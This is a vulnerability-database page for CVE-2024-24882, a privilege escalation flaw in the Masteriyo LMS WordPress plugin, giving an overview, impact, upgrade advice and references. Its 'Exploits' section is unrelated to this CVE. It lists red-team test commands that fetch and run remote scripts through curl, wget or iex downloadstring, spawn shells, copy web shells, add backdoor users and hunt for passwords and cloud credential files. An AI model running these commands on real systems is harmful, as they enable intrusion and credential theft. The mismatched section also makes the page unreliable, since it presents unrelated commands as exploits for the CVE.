CVE-2024-24882
Overview
This vulnerability is an incorrect privilege assignment flaw within the Masteriyo - LMS WordPress plugin, specifically affecting versions up to and including 1.7.2. The root cause lies in improper access control mechanisms that fail to correctly restrict user permissions, allowing unauthorized users to perform privileged actions. The affected component is the privilege management logic of the learning management system plugin.
Vulnerability Description
Incorrect Privilege Assignment vulnerability in masteriyo Masteriyo - LMS learning-management-system.This issue affects Masteriyo - LMS: from n/a through <= 1.7.2.
Impact
An attacker can exploit this vulnerability without any authentication or user interaction to gain administrative privileges within the affected WordPress site. This unauthorized access enables full control over the LMS plugin, including modification of courses, user data, and potentially the broader WordPress environment. The compromise can lead to data breaches, unauthorized content manipulation, and disruption of learning services, severely impacting business operations.
Solution
Users of Masteriyo - LMS should upgrade to version 1.7.3 or later, where this privilege escalation vulnerability has been addressed. Detailed patch instructions and advisory information are available at the Patchstack database entry: https://patchstack.com/database/Wordpress/Plugin/learning-management-system/vulnerability/wordpress-lms-by-masteriyo-plugin-1-7-2-privilege-escalation-vulnerability?_s_id=cve. Applying this update is the recommended remediation to restore proper access control enforcement.
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Full Analysis
The vulnerability in the Masteriyo learning management system stems from an incorrect privilege assignment, which allows unauthorized users to gain elevated access rights. This flaw primarily affects versions up to and including 1.7.2 of the software, potentially enabling malicious actors to perform actions that should be restricted to higher-privileged users. The underlying issue arises from inadequate checks in the system's access control mechanisms, which fail to properly validate user permissions before granting access to sensitive functionalities. This oversight can lead to unauthorized data manipulation, exposure of sensitive information, and disruption of services.
Attack vectors exploiting this vulnerability could range from simple user account manipulation to more sophisticated exploitation techniques. An attacker could create a user account with minimal privileges and leverage the incorrect privilege assignment to escalate their rights within the system. Once elevated, the attacker could access confidential data, modify course content, or even delete critical system components. Additionally, if the system is integrated with other applications or services, the attacker could potentially exploit these connections to further propagate their access, leading to a wider compromise of the organizational infrastructure.
The real-world impact of this vulnerability is significant, particularly for educational institutions and organizations relying on the Masteriyo platform for their learning management needs. The potential for unauthorized access to sensitive student data, course materials, and administrative functions poses a severe business risk. Organizations could face regulatory penalties for data breaches, loss of reputation, and financial repercussions from remediation efforts. Furthermore, the disruption of educational services could hinder learning outcomes and damage relationships with stakeholders, including students, parents, and faculty.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regular security audits and code reviews can help identify and rectify privilege assignment issues before they can be exploited. Additionally, organizations should ensure that they are running the latest version of the Masteriyo software, as updates often include critical security patches. Employing intrusion detection systems (IDS) can also aid in monitoring for unusual access patterns that may indicate exploitation attempts. Furthermore, organizations should enforce the principle of least privilege, ensuring that users are granted only the permissions necessary for their roles, thereby minimizing the potential impact of such vulnerabilities.
In conclusion, the incorrect privilege assignment vulnerability in the Masteriyo learning management system represents a serious threat that could lead to significant operational and reputational damage. Organizations must remain vigilant in their security practices, ensuring that they are not only aware of potential vulnerabilities but also equipped with the necessary tools and strategies to mitigate risks effectively. By prioritizing security in their deployment of learning management systems, organizations can protect their sensitive data and maintain the integrity of their educational services.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
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Themegrill | Masteriyo | All |
cpe:2.3:a:themegrill:masteriyo:*:*:*:*:free:wordpress:*:*
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Exploits
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Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
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sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
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Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
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References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
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https://nvd.nist.gov/vuln/detail/CVE-2024-24882 |
| patchstack.com |
GitHub CVE
vdb-entry
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https://patchstack.com/database/Wordpress/Plugin/learning-management-system/vulnerability/wordpress-lms-by-masteriyo-plugin-1-7-2-privilege-escalation-vulnerability?_s_id=cve |
| patchstack.com |
NVD API
Third Party Advisory
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https://patchstack.com/database/vulnerability/learning-management-system/wordpress-lms-by-masteriyo-plugin-1-7-2-privilege-escalation-vulnerability?_s_id=cve |